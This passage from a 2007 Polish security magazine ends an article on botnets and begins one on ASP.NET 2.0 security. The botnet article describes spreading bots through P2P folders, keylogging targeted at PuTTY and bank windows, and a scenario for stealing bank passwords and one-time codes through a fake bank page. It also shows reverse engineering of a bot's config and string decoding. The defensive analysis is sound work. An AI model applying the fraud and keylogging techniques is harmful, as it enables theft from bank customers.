do  bazy  wirusów  i  będzie  wykrywal-
ny,  co  znacząco  zmniejszy  możliwo-

ści  rozprzestrzeniania  się.  Stosunko-
wo  prostym  w  implementacji  sposo-
bem rozprzestrzeniania jest kopiowa-
nie bota na komputerze ofiary, do fol-
derów,  z  których  korzystają  progra-
my P2P ( np. Emule, Kazaa). Nazwy 
są najczęściej dobierane wg. schema-
tów  (crack-nazwa_gry.exe,  key-gen-

nazwa_gry.exe  etc).  Ta  metoda  jest 
skuteczna  jedynie  w  przypadku  du-
żych  botnetów,  ponieważ  im  więcej 
kopii tego samego pliku w Sieci P2P, 
tym wyżej znajduje się on na liście wy-
szukiwania. Ciekawą techniką zdoby-

wania botów, której nie można zaliczyć 
do infekcji są kradzieże botnetów. Ten 
temat  zostanie  poruszony  w  punkcie 

Zdobywanie informacji o bocie.

Instalacja 

i ukrywanie w systemie

Domyślnie  wszystkie  boty  instalują 
się  w  kluczach  startowych  rejestru 
Windows. Metoda ta jest bardzo za-
wodna, ponieważ wszystkie progra-
my antywirusowe oraz antyspywaro-
we w pierwszej kolejności sprawdza-
ją domyślne lokalizacje. Nawet stan-

Rysunek 1. 

Wywołanie bota, ukryte w usłudze Posłańca

Rysunek 2. 

Przechwycenie adresu serwera oraz nicka bota

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

26

dardowe  narzędzia  Windows  (np. 

msconfig) są w stanie wykryć obec-
ność bota. Jednakże nie jest to jedy-
na metoda automatycznego urucha-
miania  bota.  Istnieje  szereg  innych, 
mniej  lub  bardziej  znanych  metod. 
Np.  dopisanie  się  do  systemowych 
usług lub dll injection.

Możliwości botów

Pierwotnie  boty  były  gromadzone  w 
celach ataków DOS i DDOS. Najczę-
ściej używany do tego celu jest syn-

flood oraz ping-flood.  Z czasem boty 
stały się coraz bardziej wyrafinowa-
ne. Wachlarz ich możliwości stał się 
dużo większy. Bardzo szybko została 
dodana możliwość skanowania naci-
skanych klawiszy. Dodatkowo, w źró-
dle możemy określić nazwy okien, z 
których klawisze mają być logowane. 
Określając nazwę okna na:

•   PuTTY– możemy uzyskać sporą 

ilość kont z dostępem do shella,

•   nazwy serwisów aukcyjnych – ha-

sła do kont umożliwiające zawie-
ranie  transakcji  w  imieniu  danej 
osoby,

•   nazwy  banków  –  numery  kart 

kredytowych,  jak  również  hasła 
i loginy do kont bankowych. 

To  tylko  kilka  przykładów,  potwier-
dzających,  że  najwrażliwsze  dane 
użytkownika  są  w  zasięgu  ręki  po-
siadacza bonetu. Inne funkcje to np. 
możliwość  klikania  w  linki  interneto-
we. Funkcja ta jest używana do oszu-
kiwania  systemów  zliczających  klik-
nięcia w banery na stronach interne-
towych. Oznacza to, że osoba posia-
dająca botnet może w łatwy sposób 
wpływać na wyniki wszelkiego rodza-
ju sond, ankiet, głosowań itp. Jako że 

istnieją  firmy  płacące  za  klikanie  w 
reklamy  na  stronach  –  takie  działa-
nie  może  doprowadzić  do  osiągnię-
cia  korzyści  finansowych.  Boty  czę-
sto  są  wykorzystywane  do  wysyła-
nia  spamu,  posiadają  nawet  własne 
silniki SMTP. Według statystyk, oko-
ło  50%  spamu  wysyłanego  w  sieć 
pochodzi  z  zainfekowanych  kompu-
terów. Źródła botów potrafiących wy-
syłać masowo spam nie są raczej pu-
blicznie dostępne, ale nawet średnio-
zaawansowanemu programiście roz-
szerzenie  programu  o  takie  funkcje 
nie powinno sprawić trudności. 

Scenariusz 

przykładowego ataku 

na konto w banku 

internetowym

Jeśli  użytkownik  korzystający  z 
usług  banku  posiada  bota,  w  skraj-
nych  przypadkach  może  stracić  pie-
niądze  na  swoim  koncie.  Zaprezen-
towana technika może zostać dosto-
sowana  do  każdego  banku  stosują-
cego  tego  typu  zabezpieczenia.  Ist-
nieją  boty  mające  zaimplementowa-
ną funkcję powiadamiania na kanale, 
jeśli na komputerze pojawią się okna 
z danym tytułem. W przypadku, gdy 
użytkownik  wejdzie  na  stronę  banku 
– wiadomość z zapisanymi klawisza-
mi wciśniętymi w tym oknie (tj. login 
i  hasło)  zostanie  przesłane  do  wła-
ściciela  botnetu.  W  tym  momencie 
może  się  on  swobodnie  logować  na 
konto bankowe użytkownika. Jednak 
wszystkie kluczowe operacje na kon-
cie są zabezpieczone hasłem jedno-
razowym, które zna jedynie właściciel 
konta oraz bank. Można spreparować 
stronę,  do  złudzenia  przypominają-

Listing 1. 

Przełożenie funkcji decode() na język C

char

 

*

decode

(

      

char

 

*

text

int

 

param

char

 

*

where

)

{

int

 

i

;

   

for

 

(

i

 

=

 

0

;

text

[

i

]

 

!=

 

0

;

 

i

++)

 

{

      

where

[

i

]

 

=

 

text

[

i

]

 

-

 

param

 

-

 

3

*

i

;

         

}

      

Where

[

i

]=

0

;

   

return

 

where

;

}

Rysunek 4. 

Sekcje dostępne w pliku bota

Rysunek 3. 

Bot spakowany UPXem

background image

Sieci zombie

hakin9 Nr 7/2007

www.hakin9.org

27

cą stronę banku. Posiadając bota na 
komputerze ofiary, jesteśmy w stanie 
przekierować użytkownika na podsta-
wioną  przez  nas  stronę.  Gdy  użyt-
kownik - będąc przekonanym, że kon-
taktuje się z właściwą stroną - wpisze 
hasło jednorazowe, zamiast trafić do 
banku trafia do właściciela botów. W 
tym momencie, atakujący może zro-
bić wszystko z naszym kontem ban-
kowym. Działanie to może wydawać 
się początkowo skomplikowane, jed-
nak  coraz  więcej  osób  pada  ofiara-
mi tego typu przestępstw. Banki sta-
rają się walczyć z takimi praktykami, 
wprowadzając losowe wybieranie ha-
seł  jednorazowych  z  listy  lub  hasła 
przesyłane na telefony komórkowe.

Zdobywanie 

informacji o bocie

Przechwycony plik wykonywalny bota 
może  wiele  powiedzieć  o  docelowej 
Sieci. Przeprowadzając odpowiednie 
działania, możemy poznać dokładną 
konfigurację bota, a w szczególności:

•   Adres  serwera  IRC,  z  jakim  na-

stępuje połączenie;

•   Nazwa  kanału  IRC,  do  którego 

dołącza bot;

•   Klucz dostępowy kanału IRC;
•   Dane  potrzebne  do  uwierzytel-

nienia.

Te  informacje  mogą  posłużyć  do  na-
mierzenia  atakującego,  zniszczenia 
botnetu  (znając  dane  potrzebne  do 
uwierzytelnienia,  jesteśmy  w  stanie 
zalogować się na każdym z zaatako-
wanych  komputerów  oraz  odinstalo-
wać program bota), przejęcia botnetu 

(poprzez poinstruowanie  komputerów, 
aby wgrały określoną przez nas wersję 
bota jednocześnie usuwając starą).

Podsłuchiwanie, 

czyli sniffing

Najłatwiejszym, a zarazem najszyb-
szym sposobem na ustalenie adresu 
docelowego  serwera,  nazwy  kanału 
oraz  klucza  kanału,  jest  podsłucha-
nie  sieciowych  pakietów  wychodzą-
cych z komputera, na którym znajdu-
je się bot. W tym celu można posłu-

żyć  się  popularnym  snifferem  o  na-
zwie Ethereal. Po uruchomieniu snif-
fera, należy wybrać odpowiedni inter-
fejs  za  pomocą  okna 

Capture 

Inter-

faces.  Po  kliknięciu  przycisku  Cap-

ture przy danym interfejsie, rozpocz-
nie się nasłuchiwanie pakietów. Wy-
starczy  teraz  uruchomić  plik  wyko-
nywalny bota i odczekać kilkanaście 
sekund. Po wciśnięciu przycisku stop 
w programie Ethereal nasłuchiwanie 
zostanie przerwane, a przechwycone 
pakiety zostaną wyświetlone.

W Sieci

•   http://www.google.com/codesearch 

–  wyszukiwarka  źródeł  ułatwiająca 
odnalezienie botów (RxBot, GT-bot 
Sd-Bot, Spy-Bot.),

•   http://www.secretashell.com/

codomain/peid/ – strona programu 
PEiD, 

•   http://www.ollydbg.de/ – strona 

programu OllyDbg,

•   http://upx.sourceforge.net/ – stro-

na programu UPX.

Rysunek 5. 

Niezakodowane dane konfiguracyjne bota

Rysunek 6. 

Podłączanie pod proces bota

Rysunek 8. 

Lista odwołań do funkcji API

Rysunek 7. 

Dane widoczne po podłączeniu się pod proces bota

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

28

W jednym z pierwszych pakietów 

zobaczymy  nawiązanie  połączenia 
TCP  pomiędzy  botem  a  serwerem 
IRC.  Uzyskujemy  tym  samym  adres 
serwera oraz numer portu, na którym 
działa  usługa  IRC.  Jeżeli  podczas 
nasłuchiwania  mieliśmy  uruchomio-
ne  również  inne  programy  sieciowe 
– warto ustawić filtr, który usunie nie-
istotne  dla  nas  pakiety.  Jeżeli  połą-
czenie z serwerem zostało nawiąza-
ne na porcie 6667, można wówczas 
ustawić filtr, który pokaże jedynie pa-
kiety odnoszące się do tego portu:

tcp.port eq 6667

Kolejne  pakiety  odzwierciedlają  ko-
munikację  bota  z  usługą  IRC.  Ethe-

real  oznacza  polecenia  wydawane 
przez  bota  jako  IRC  Request.  Środ-
kowe okno ukazuje treść danego po-
lecenia. Jak określa specyfikacja pro-
tokołu  IRC,  klient  zobowiązany  jest 
przesłać nazwę pod jaką będzie wi-
dziany – nick. W tym przypadku nick 
bota  ma  postać  bot_no-12.  Następ-
nym  istotnym  poleceniem  jest  JOIN
wywołane w taki sposób:

JOIN #my-botnet-00 botnet-#chan-00

Pierwszy  parametr  stanowi  nazwę 
kanału, a drugi klucz. 

Na  podstawie  tych  informacji  je-

steśmy w stanie połączyć się z botne-
tem. Po wejściu na kanał powinniśmy 
ujrzeć pozostałe komputery tworzące 
sieć.  Ze  względu  na  brak  hasła,  nie 
jesteśmy  w  stanie  dokonać  uwierzy-
telnienia, dlatego jesteśmy ogranicze-
ni do biernej obserwacji kanału.

Czytanie pliku 

binarnego

Główną  wadą  poprzedniej  metody 
jest brak możliwości uzyskania hasła. 
Podgląd pliku binarnego bota, stwarza  
niekiedy szansę na odczytanie zmien-
nych  przechowujących  dane  konfigu-
racyjne – w tym hasła. Dobrze do tego 
celu  nadaje  się  edytor  szesnastkowy 
o  nazwie  hiew.  Przed  rozpoczęciem 
analizy  pliku  należy  zwrócić  uwagę 
na to, czy plik nie jest skompresowany 
pakerem  dla  plików  wykonywalnych, 
takim  jak  UPX.  Jest  to  dosyć  częstą 

praktyką  wśród  twórców  botów,  ze 
względu  na  to,  że  skompresowanie 
pliku exe pozwala na znaczne zmniej-
szenie objętości, a także utrudnia wy-
krycie  programom  antywirusowym. 
Jeżeli mamy wątpliwości co do pake-
ra, jaki został użyty do skompresowa-
nia pliku, możemy posłużyć się narzę-
dziem PeiD  (link w ramce W Sieci).

W tym przypadku bot jest skom-

presowany programem UPX. W ce-
lu rozpakowania pliku należy wydać 
komendę:

upx –d  bot.exe

Jeśli  nie  uzyskaliśmy  błędów  przy 
dekompresji, możemy wczytać otrzy-
many plik do edytora hiew. Wciskając 
[F4] przełączamy edytor w tryb hek-
sadecymalny. 

Następnie przy pomocy sekwen-

cji klawiszy [F8] , [F6] przechodzimy 
do  tabeli,  w  której  znajduje  się  spis 
sekcji pliku EXE. Aby obejrzeć zade-
klarowane  dane,  wybieramy  sekcje 

.data. Jeżeli dane nie zostały dodat-

O autorach

Dawid  Gołuński  jest  samoukiem,  pa-
sjonatem,  od  wielu  lat  interesującym 
się  Informatyką,  a  w  szczególności 
aspektami  bezpieczeństwa.  Studiuje 
Sieci  komp.  w  ramach  programu  Ci-
sco  Network  Academy  na  Politech-
nice  Poznańskiej.  Kontakt  do  autora:
golunsk@crackpl.com
Krzysztof Kułaj jest studentem kierun-
ku  Elektronika  i  Telekomunikacja  na 
Uniwersytecie  Zielonogórskim,  na  co 
dzień  zajmuje  się  wdrożeniami  syste-
mów antywirusowych.  Kontakt do au-
tora: krzysztof_kulaj@o2.pl

Trudne pojęcia

•   kod P-O-C – czyli Proof Of Concept, 

jest  to  nieszkodliwy  kod  (np.  uru-
chamiający kalkulator) – dołączany 
do opisu błędu/techniki jako dowód 
istnienia błędu oraz pokaz możliwo-
ści jego wykorzystania.

Rysunek 9. 

Kod przy wywołaniu funkcji gethostbyname

Rysunek 11. 

Referencje do funkcji dekodującej

Rysunek 10. 

Ciało funkcji decode

background image

kowo  zakodowane,  poruszając  się 
po tej sekcji, ujrzymy dane konfigura-
cyjne bota, takie jak komenda logo-
wania,  hasło,  nazwa  kanału,  klucz, 
adres serwera, wersja bota itp.

Deasemblacja 

Stosunkowo  często  zdarza  się,  że 
najbardziej  istotne  dane  wewnątrz 
bota  (hasła,  adresy  serwerów,  na-
zwy  kanałów)  są  kodowane.  Ma  to 
miejsce, aby uniemożliwić ich odczy-
tanie  z  poziomu  hexedytora.  W  ta-
kim przypadku konieczna może oka-
zać się deasemblacja programu oraz 
przeprowadzenie  inżynierii  wstecz-
nej  w  celu  ustalenia  sposobu  kodo-
wania  ciągów  znakowych.  Wykorzy-
stamy  debugger  o  nazwie  OllyDbg
aby  przedstawić  analizę  działania 
dwóch zmodyfikowanych wersji Spy-

Bota. Sprawa jest prosta, gdy łańcu-
chy znaków dekodowane są nieopo-
dal początku programu. Warto wspo-
mnieć, że domyślna wersja SpyBota 
postępuje właśnie w taki sposób. Wy-
starczy wtedy uruchomić bota, a na-
stępnie podłączyć się pod utworzony 
przez niego proces za pomocą opcji 

File - Attach.

W dolnym oknie znajduje się sek-

cja  danych.  Z  chwilą  podłączenia 
pod proces bota – ujrzymy zdekodo-
wane łańcuchy znaków.

Sprawa  jest  nieco  trudniejsza, 

gdy  ciągi  znaków  są  dekodowane 
tuż przed wywołaniem danej funkcji. 
Przykładowo:

strcmp( dekoduj(
   zakodowany_ciag), password);

W  takim  wypadku  konieczne  jest  od-
nalezienie  funkcji  dekodującej.  Jeżeli 
uda się ją odnaleźć, będziemy w stanie 
prześledzić  jej  działanie  oraz  spraw-
dzić,  jakie  ciągi  znaków  są  do  niej 
przekazywane.  Wyszukanie  procedu-
ry  może  przysporzyć  pewne  proble-
my,  gdyż  tylko  kilka  najważniejszych 
łańcuchów podlega kodowaniu, a pro-
gram w czasie swojego działania wy-
wołuje dużą liczbę funkcji. Sprawdza-
nie każdej z nich zajęłoby sporo czasu. 
Dlatego najlepiej z góry ustalić funkcję, 
do której na pewno przekazywany jest 
uprzednio zdekodowany string. Np. je-

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

30

śli podczas przechwytywania pakietów 
snifferem zobaczyliśmy napis:

DNS Standard query A irc.efnet.pl
DNS Standard query response
      A 217.17.33.10

To oznacza, że bot korzysta z funkcji 

gethostbyname(), aby rozwiązać na-
zwę  hosta (ircserwera) na adres IP.  
Idąc tym tropem, możemy przypusz-
czać, że gdzieś w kodzie znajduje się 
wywołanie podobne do:

gethostbyname(decode(
   zakodowana_nazwa_ircserwera))

OllyDbg 

umożliwia 

wylistowanie 

wszystkich odwołań do funkcji API, po-
przez wybranie z menu kontekstowego 

Search for - All intermodular calls.

Jak  widzimy  na  Rysunku  8,  od-

wołanie  do  funkcji  gethostbyname() 
występuje  pod  adresem  00407B65
Wciskając enter na tej linii zostanie-
my przeniesieni do kodu, który widzi-
my na Rysunku 9.

Argument  dla  funkcji  gethostby-

name() znajduje się w rejestrze EAX, 
który  jest  odkładany  na  stos  instruk-
cją 

PUSH  EAX

. Co jednak zawiera ten 

rejestr?  Jak  się  domyślamy  –  jest  to 
wynik poszukiwanej przez nas funkcji 
-  dekodującej  łańcuchy  znaków  (na-
zwijmy  ją  decode).  Na  podstawie  jej 
wywołania  możemy  wywnioskować, 
że  przyjmuje  ona  3  argumenty  oraz 
zwraca wskaźnik do zdekodowanego 
ciągu znaków (który, w tym przypad-
ku  przekazywany  jest  do  gethostby-

name()). Oczywiście możemy zajrzeć 
do jej wnętrza. 

Po  wykonaniu  dokładnej  analizy 

tej funkcji, jesteśmy w stanie opisać 
jej działanie za pomocą języka C. 

Funkcja  działa  w  następujący 

sposób: argument text zawiera adres 
dekodowanego  ciągu  znaków.  Pętla 
wykonuje się tyle razy, ile znaków ma 
dekodowany ciąg. Przy każdym obie-
gu pętli od kodu ASCI znaku odejmo-
wana  jest  liczba  określona  parame-
trem param oraz pozycja znaku (nu-
merując  od  zera)  pomnożona  przez 
3.  Zdekodowany  ciąg  znaków  trafia 
pod  adres  wskazywany  przez  para-
metr  where.  Aby  poznać  zakodowa-

ne  łańcuchy  znaków,  wystarczy  wy-
świetlić wszelkie odwołania (referen-
cje)  do  funkcji  decode.  Czynimy  to, 
zaznaczając  linijkę  określoną  jako 

funkcja  dekodujaca!  Następnie  wy-
bieramy z menu kontekstowego Find 

references to - Call destination

Wybierając  ostatnią  z  referencji, 

trafimy do kodu przedstawionego na 
Rysunku 12.

Znajdziemy  tutaj  wszystkie  in-

formacje  potrzebne  do  zdekodowa-
nia stringu:

•   adres, pod którym mieści się zako-

dowany  łańcuch  znaków  (zazna-
czony w dolnej części rysunku),

•   parametr kodujący param.

Podstawiając te dane do funkcji deko-
dującej, otrzymamy ciąg znaków Se-

cretPass!!  Zamiast  rozpracowywać 
algorytm dekodujący, można oczywi-
ście ustawić pułapkę (breakpoint) na 
wyjściu z funkcji decode - co zapewni 
zatrzymanie  programu  w  momencie 
zakończenia  procedury  dekodującej 
– pozwalając na swobodne odczyta-
nie  zdekodowanego  łańcucha  (jego 
adres wskazuje rejestr EAX).

Obrona przed botami

Ponieważ  boty  często  są  pisane  od 
podstaw, programy antywirusowe nie 
posiadają ich sygnatur. Pewnym roz-
wiązaniem  może  być  używanie  fire-
walla,  który  jest  w  stanie  zabloko-

wać ruch wychodzący z niezaufane-
go  programu.  Należy  tu  jednak  za-
znaczyć,  że  firewalle  nie  zawsze  są 
całkowicie  skuteczne.  Odpowiednio 
napisany  bot  niekiedy  jest  w  stanie 
przedostać się poprzez zaporę, uży-
wając  techniki  zdalnych  wątków  (re-

mote threads). 

Najlepszą  metodą  ochrony  przed 

botami  jest  uniemożliwienie  infekcji 
– czyli przeciwdziałanie metodom uję-
tym w rozdziale dot. rozprzestrzenia-
nia się botów. Należy posiadać aktu-
alne poprawki bezpieczeństwa, nigdy 
otwierać  linków  z  nieznanych  źródeł 
oraz używać silnych haseł w przypad-
ku udostępniania zasóbów Windows. 

Podsumowanie

Zabezpieczenie przed Sieciami Zom-
bie  to  jedno  z  najważniejszych  za-
dań,  jakie  stoi  przed  społecznością 
Internetu.  Według  przeprowadzo-
nych  badań,  25%  komputerów  oso-
bistych  znajduje  się  w  co  najmniej 
jednej Sieci Zombie. Oznacza to, że 
statystycznie rzecz biorąc, co czwar-
ty  z  Czytelników  ma  zainstalowane-
go co najmniej jednego bota. Artykuł 
pokazuje,  że  bonety  niosą  za  sobą 
liczne  niebezpieczeństwa,  w  wyniku 
których  łatwo  utracić  wrażliwe  dane 
czy pieniądze zgromadzone na kon-
cie  bankowym.  Nie  pozwólmy,  aby 
nasz komputer stał się narzędziem w 
rękach intruza. l

Rysunek 12. 

Jedno z wywołań funkcji decode

background image

Portal  internetowy  na  którym  można  znaleźć 

garść informacji z wybranych dziedzin IT.

http://howto.pl/

Hacking, security to pojęcia znane profesjonali-

stom na tym portalu można dowiedzieć się cze-

goś więcej o tych zagadnieniach.

http://www.security-web.info

Strona  zawiera  ogłoszenia  pracy  na  stanowi-

ska związane z branżą IT.

http://pracait.com

Portal  poświęcony  aktualnościom,  artykułom

ze  świata  informatycznego.  Zawiera  ciekawe 

linki,  gry  on-line  i  wiele  innych  interesujących 

wiadomości.

http://hackme.pl

Serwis  internetowy  firmy  QuarkBit  Software, 

która zajmuje się tworzeniem oprogramowania 

dla firm i osób prywatnych.

http://www.quarkbitsoftware.pl

Misją serwisu jest dostarczanie rzetelnych infor-

macji z zakresu szeroko pojętej informatyki. Za-

wiera  najświeższe  informacje  z  rynku  informa-

tycznego i recenzje czasopism takich jak Hakin9, 

php solution, sdj.      

http://www.itnews.icx.pl

To portal wydawnictwa CSH. Na tej stronie za-

interesowana  osoba  znajdzie  garść  potrzeb-

nych informacji: aktualności ze świata informa-

tycznego, informacje na temat szkoleń itd.

http://www.szkolahakerow.pl

Serwis  informacyjny,  na  którym  znajdują  się 

najświeższe aktualności i artykuły, można zalo-

gować się na forum i podyskutować z ciekawy-

mi osobami na interesujące teamty.

http://www.cc-team.org

Strona internetowa poświęcona aktualnościom 

informatycznym. Umieszczone są na niej cie-

kawe artykuły oraz recenzje pism.

http://www.huntersq2.boo.pl

Strony

 polecane >>>

Strony

 polecane

Misją Infoprof jest zrozumienie potrzeb klienta 

i taki dobór usług by jak najlepiej spełniały one 

jego oczekiwania, jednocześnie nie narażając 

go na niepotrzebne koszty.

www.infoprof.pl

Portal  poświęcony  zdalnym  rozwiązaniom  IT, 

świadczone usługi są dyskretne i dokładne.

http://xesit.pl

Portal  powstał  w  celu  rozreklamowania  firmy 

zajmującej się kompleksową usługą związaną 

z promowaniem stron WWW.

http://www.webgroup.net.pl

background image

www.hakin9.org

hakin9 Nr 7/2007

32

Obrona

Z

astosowanie  programowania  opartego 
na zdarzeniach pozwoliło między innymi 
na  odseparowanie  kodu  aplikacji  i  war-

stwy  defi niującej  wygląd.  Dodatkowo  możliwe 
jest  tworzenie  kodu  naszej  aplikacji  w  różnych 
językach .NET – C# oraz Visual Basic .NET.  W 
najnowszej wersji ASP.NET 2.0 usprawniono w 
znaczący sposób wiele cech znanych z poprzed-
nich wersji platformy, a także wprowadzono wie-
le nowych elementów, wspomagających proces 
szybkiego  tworzenia  aplikacji  internetowych  w 
szczególności mających związek z bezpieczeń-
stwem. Tworzenie aplikacji, bez względu na to, 
czy piszemy aplikacje dla środowiska klient-ser-
wer czy dla środowiska Web, zawsze wymaga 
zastanowienia  się  nad  aspektami  bezpieczeń-
stwa. Tylko od nas zależy, czy nasza aplikacja 
będzie działać poprawnie i czy użytkownicy bę-
dą mogli się do niej włamać.

ASP.NET 2.0 jako technologia bardzo moc-

no  wspiera  programistów,  aby  tworzyć  bez-
pieczne  rozwiązania.  Niniejszy  artykuł  ma  na 
celu  przedstawienie  podstawowych  zasad  i 
mechanizmów tworzenia bezpiecznych aplika-
cji  WWW.  Na  początku  powinniśmy  zastano-
wić się nad samym pojęciem bezpieczeństwa. 
Termin ów sam w sobie jest bardzo szerokim 

tematem  i  obejmuje  bardzo  wiele  pojęć  i  za-
gadnień. Na rysunku pierwszym widać ogólny 
przekrój przez technologie oraz elementy zwią-
zane z procesem bezpieczeństwa.

Jak widać na Rysunku 1. podstawowe tech-

nologie to:

•   IIS jako serwer WWW,
•   ASP.NET jako platforma pisania aplikacji,

Bezpieczne aplikacje Web 

w oparciu o ASP.NET2.0

Artur Żarski

stopień trudności

ASP.NET 20.0 jest technologią, dzięki której możliwe jest 

tworzenie dynamicznych stron internetowych. Wykorzystuje 

ona większość możliwości, jakie dostępne są wraz z platformą 

.NET Framework w związku z wykorzystaniem środowiska 

uruchomieniowego CLR. 

Z artykułu dowiesz się

•   Artykuł przedstawia dostępne technologie plat-

formy .NET, dzięki którym aplikacje Web mogą 
stać się bezpieczniejsze. Pokazane są aspekty, 
na które należy zwrócić uwagę przy tworzeniu i 
konfi gurowaniu całego środowiska aplikacji.

Co powinieneś wiedzieć

•   Przed przystąpieniem do lektury artykułu nale-

ży zapoznać się z podstawami bezpieczeństwa 
aplikacji.  Ze  względu  na  ograniczenie  do  plat-
formy .NET należy znać podstawowe elementy 
tej platformy oraz orientować się w jej technolo-
giach.

background image

Bezpieczne aplikacje Web w ASP.NET2.0

hakin9 Nr 7/2007

www.hakin9.org

33

•   Enterprise Services jako obiekty 

biznesowe klasy enterprise,

•   SQL Server jako baza danych.

Wszystkie  te  technologie  składa-
ją  się  z  dwóch  podstawowych  ele-
mentów - autoryzacji oraz autenty-
kacji. Pojęcia te bardzo się od sie-
bie różnią, a mimo to często są my-
lone. Autentykacja to proces pobie-
rania  danych  użytkownika  i  jego 
uprawnień.  Natomiast  autoryzacja 
to  proces  sprawdzania,  czy  użyt-
kownik ma dostęp do pewnych za-
sobów.

Elementy technologii oraz jej ele-

mentów  możemy  przedstawić  w  ta-
beli

Bezpieczeństwo w 

ASP.NET

Bezpieczeństwo  ASP.NET  jest  bar-
dzo szerokim zagadnieniem, podob-
nie  jak  samo  pojęcie  bezpieczeń-
stwa.  Opiera  się  ono  o  mechani-
zmy, które są istotne dla całej platfor-
my .NET. Składa się z bardzo wielu 

elementów, które mogą mieć wpływ 
na sposób działania naszej aplikacji 
WWW oraz decydować o tym, jak du-
żo czasu będziemy musieli poświęcić 
na  oprogramowanie  wszystkich  me-
chanizmów  oraz  uniknięcie  pew-
nych  niechcianych  zachowań.  Poni-
żej  przedstawiamy  elementy  mają-
ce wpływ na bezpieczeństwo aplika-
cji ASP.NET.

CAS - Code Access Security

ASP.NET  jest  składnikiem  platfor-
my .NET Framework i rządzi się po-
dobnymi prawami, jak każda aplika-
cja .NET. Ogólnie rzecz biorąc, pro-
ces wygląda tu tak, że Common Lan-

guage Runtime (CLR) zezwala kodo-
wi aplikacji wykonywać tylko te ope-
racje,  do  których  wykonania  ma  on 
uprawnienia.  Jeśli  chcielibyśmy  na-
rzucić  jakąś  politykę  bezpieczeń-
stwa,  musimy  posiłkować  się  CAS 
(Code  Access  Security).  CAS  jest 
mechanizmem bezpieczeństwa CLR 
wymuszającym politykę bezpieczeń-
stwa i umożliwia:

•   defi niowanie, co może robić kod,
•   defi niowanie, jaki program może 

wywoływać dany kod,

•   identyfi kowanie kodu.

Do  głównych  zadań  CAS  należą 
między innymi:

•   ograniczenia  narzucone  kodowi 

w zakresie zdefi niowanych zasad 
bezpieczeństwa,

•   defi niowanie uprawnień do zaso-

bów systemowych,

•   żądanie określonych uprawnień z 

kodu,

•   przydzielanie uprawnień ładowa-

nemu  kodowi  w  zakresie  zasad 
bezpieczeństwa,

•   konfi gurowanie przez administra-

tora  zasad  bezpieczeństwa  dla 
grup kodu.

Dla  wielu  programistów  .NET  CAS 
nie  jest  znany  i  nie  mają  oni  świa-
domości  jego  możliwości.  Może  to 
stanowić pewien problem, ponieważ 
każda  aplikacja  wykorzystuje  CAS, 
a w zasadzie podlega jego regułom. 
Dlaczego tak się dzieje? Może to wy-
nikać z faktu, że większość naszych 
stron WWW, które piszemy, urucha-
miamy  lokalnie,  na  lokalnym  użyt-
kowniku,  etc.  W  momencie  urucho-
mienia  aplikacji  Web  w  rozproszo-
nym środowisku, coś nagle przesta-
je działać.

Uwierzytelnianie 

w ASP.NET 2.0

Znane jest już nam pojęcie autenty-
kacji.  Zobaczmy  teraz,  jak  wygląda 
proces uwierzytelniania. W ASP.NET 
wyróżniamy  następujące  sposoby 
uwierzytelniania:  systemu  Windows, 
za  pośrednictwem  formularza  oraz 
przy  użyciu  usługi  Passport.  Możli-
wy jest też jeszcze jeden podział wg 
trudności uwierzytelniania.  Wyróżnić 
możemy następujące jego sposoby:

•   proste  –  zintegrowane  oraz  for-

mularze,

•   średniozaawansowane  –  szyfro-

wanie  hasła,  wykorzystanie  sy-
gnatur (hash) (np. NTLM, Digest),

•   zaawansowane  –  certyfi katy, 

Kerberos.

Tabela 1. 

Technologie związane z bezpieczeństwem oraz ich elementy

IIS

Autoryzacja

Autentykacja

Uprawnienia NTFS

Autoryzacja Windows

Restrykcje IP

Dostęp anonimowy
Certyfi katy
Dostęp podstawowy

ASP.NET

Autoryzacja

Autentykacja

URL 

Windows

Pliki

Formularze

Role .NET

Passport
Własne

Enterprise Services

Autoryzacja

Autentykacja

Role COM+

RPC

Uprawnienia NTFS

SQL Server

Autoryzacja

Autentykacja

Użytkownicy

Windows

Uprawnienia do obiektów

SQL Server

Role bazy danych
Role użytkownika
Role aplikacyjne

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

34

W  przypadku  autoryzacji,  wykorzy-
stywany  jest  mechanizm  Role  Ba-

sed  Security,  czyli  zabezpieczenia 
bazujące na rolach. Polegają one na 
sprawdzeniu tożsamości użytkowni-
ka i pozwoleniu bądź odrzuceniu żą-
dania do zasobu.

Zintegrowana autoryzacja

Najbardziej  popularne  i  najczęściej 
stosowane  są  mety  uwierzytelniania 
zintegrowanego oraz poprzez formu-
larze. Pierwszy z nich bazuje na usta-
wieniach  serwera  IIS  i  największa 
część pracy wymagana jest po stro-
nie  jego  konfi guracji.  Jak  wyglądają 
poszczególne ustawienia w uwierzy-
telnianiu zintegrowanym, przedstawia 
Tabela  2.  Kolumna  rodzaj  uwierzy-
telnienia to konkretne sposoby, nato-
miast  kolumna  zachowanie  określa, 
jak ten proces wygląda.

Formularze

Autoryzacja  na  poziomie  formula-
rzy jest zupełnie odmiennym proce-
sem.  O  ile  w  przypadku  uwierzytel-
niania  zintegrowanego  nie  wprowa-
dzaliśmy  nazwy  użytkownika  i  ha-
sła, to w przypadku formularzy musi-
my te wartości podać. Dopiero na ich 
podstawie system da nam dostęp do 
zasobów i zaloguje lub odrzuci zgło-
szenie.  Logowanie  zwykle  odbywa 
się  na  specjalnej  stronie  WWW,  na 
której podajemy nazwę użytkownika 
i hasło. Zaletą tego typu autoryzacji 
jest  możliwość  uwierzytelniania  do 
dowolnej listy użytkowników. Ta lista 
może  być  przechowywana  w  bazie 
danych, może to być dowolny serwer 
LDAP lub dowolne inne źródło – plik 
XML, lista użytkowników trzymana w 
pliku Web.confi g, etc.

Przykładowa  lista  użytkowników 

w  pliku  Web.confi g  może  wyglądać 
jak na Listingu 1.

W  przypadku  uprawnień  prze-

chowywanych w bazie danych może 
to być (i najczęściej tak właśnie jest) 
zwykła  tabela,  w  której  mamy  dwa 
pola: użytkownik i hasło.

Passport authentication

Jeszcze  jednym  sposobem  auten-
tykacji  jest  użycie  usługi  Microsoft 
.NET  Passport.  Usługę  tę  najczę-

ściej można znaleźć na stronach fi r-
mowych  Microsoft.  Niewątpliwą  jej 
zaletą jest to, że posiadając konto w 

usłudze Passport, możemy mieć jed-
nocześnie dostęp do różnych witryn 
(np. nasza własna witryna oraz witry-

Tabela 2. 

Sposoby zintegrowanego uwierzytelniania

Sposób uwierzytelnie-

nia

Zachowanie

Dostęp anonimowy

Nie chronimy nic – każdy użytkownik ma do-
stęp

Basic authentication

